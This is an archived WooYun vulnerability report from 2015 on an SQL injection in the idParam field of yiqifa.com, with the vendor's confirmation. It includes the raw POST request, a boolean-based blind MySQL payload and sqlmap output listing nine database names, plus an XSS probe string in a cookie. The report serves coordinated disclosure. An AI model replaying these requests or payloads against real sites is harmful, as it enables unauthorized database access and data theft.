当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0126844

漏洞标题:一起发主站SQL注入(9库)

相关厂商:emar.com

漏洞作者: 路人甲

提交时间:2015-07-15 11:24

修复时间:2015-08-29 11:56

公开时间:2015-08-29 11:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-15: 细节已通知厂商并且等待厂商处理中
2015-07-15: 厂商已经确认,细节仅向厂商公开
2015-07-25: 细节向核心白帽子及相关领域专家公开
2015-08-04: 细节向普通白帽子公开
2015-08-14: 细节向实习白帽子公开
2015-08-29: 细节向公众公开

简要描述:

天地本不仁 万物为刍狗
【HD】 以团队之名 以个人之荣耀 共建网络安全

详细说明:

POST数据包:

POST /HighCommPdtList.do HTTP/1.1
X-Forwarded-For: 8.8.8.8'
Content-Length: 292
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.yiqifa.com:80/
Cookie: JSESSIONID=3FEFAF03473241DE9B591499D71CE423; __utmt=1; __utma=170018088.373456214.1436889204.1436889204.1436889204.1; __utmb=170018088.1.10.1436889204; __utmc=170018088; __utmz=170018088.1436889204.1.1.utmcsr=acunetix-referrer.com|utmccn=(referral)|utmcmd=referral|utmcct=/javascript:domxssExecutionSink(0,"'\"><xsstag>()refdxss"); Hm_lvt_7b29d1b550eef9d074536cb2d722c5bf=1436889360,1436889422,1436889638,1436889641; Hm_lpvt_7b29d1b550eef9d074536cb2d722c5bf=1436889641; ADM_USER=f1097e5bd281e09a9c57cb39dd55c445; HMACCOUNT=28670321CC916DC6
Host: www.yiqifa.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
categoryId=1001&classNameParam=payment_down&idParam=&merchantNameParam=dypcjruj&pageNumber=1&pageSize=20&percentFromParam=1&percentToParam=1&productNameParam=dypcjruj


参数 idParam 可注入 不止这一个参数 有好几个参数可以注入 你们自测吧

0.png


1.png


漏洞证明:

POST parameter 'idParam' is vulnerable. Do you want to keep testing the others (
if any)? [y/N] y
sqlmap identified the following injection points with a total of 42 HTTP(s) requ
ests:
---
Parameter: idParam (POST)
Type: boolean-based blind
Title: MySQL >= 5.0 boolean-based blind - Parameter replace
Payload: categoryId=1001&classNameParam=payment_down&idParam=(SELECT (CASE W
HEN (6959=6959) THEN 6959 ELSE 6959*(SELECT 6959 FROM INFORMATION_SCHEMA.CHARACT
ER_SETS) END))&merchantNameParam=dypcjruj&pageNumber=1&pageSize=20&percentFromPa
ram=1&percentToParam=1&productNameParam=dypcjruj
---
[00:09:10] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0
[00:09:10] [INFO] fetching database names
[00:09:10] [INFO] fetching number of databases
[00:09:10] [INFO] retrieved: 9
[00:09:13] [INFO] retrieving the length of query output
[00:09:13] [INFO] retrieved: 18
[00:10:39] [INFO] retrieved: information_schema
[00:10:39] [INFO] retrieving the length of query output
[00:10:39] [INFO] retrieved: 8
[00:11:19] [INFO] retrieved: dbaadmin
[00:11:19] [INFO] retrieving the length of query output
[00:11:19] [INFO] retrieved: 5
[00:11:42] [INFO] retrieved: ftxia
[00:11:42] [INFO] retrieving the length of query output
[00:11:42] [INFO] retrieved: 10
[00:12:29] [INFO] retrieved: gwkproduct
[00:12:29] [INFO] retrieving the length of query output
[00:12:29] [INFO] retrieved: 5
[00:12:51] [INFO] retrieved: mysql
[00:12:51] [INFO] retrieving the length of query output
[00:12:51] [INFO] retrieved: 18
[00:14:22] [INFO] retrieved: performance_schema
[00:14:22] [INFO] retrieving the length of query output
[00:14:22] [INFO] retrieved: 4
[00:14:45] [INFO] retrieved: test
[00:14:45] [INFO] retrieving the length of query output
[00:14:45] [INFO] retrieved: 6
[00:15:10] [INFO] retrieved: yiqifa
[00:15:10] [INFO] retrieving the length of query output
[00:15:10] [INFO] retrieved: 14
[00:16:17] [INFO] retrieved: yiqifa_product
available databases [9]:
[*] dbaadmin
[*] ftxia
[*] gwkproduct
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
[*] yiqifa
[*] yiqifa_product
[00:16:17] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.yiqifa.com'
[*] shutting down at 00:16:17

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-07-15 11:54

厂商回复:

@路人甲 非常感谢,我们紧急修复漏洞

最新状态:

暂无


漏洞评价:

评论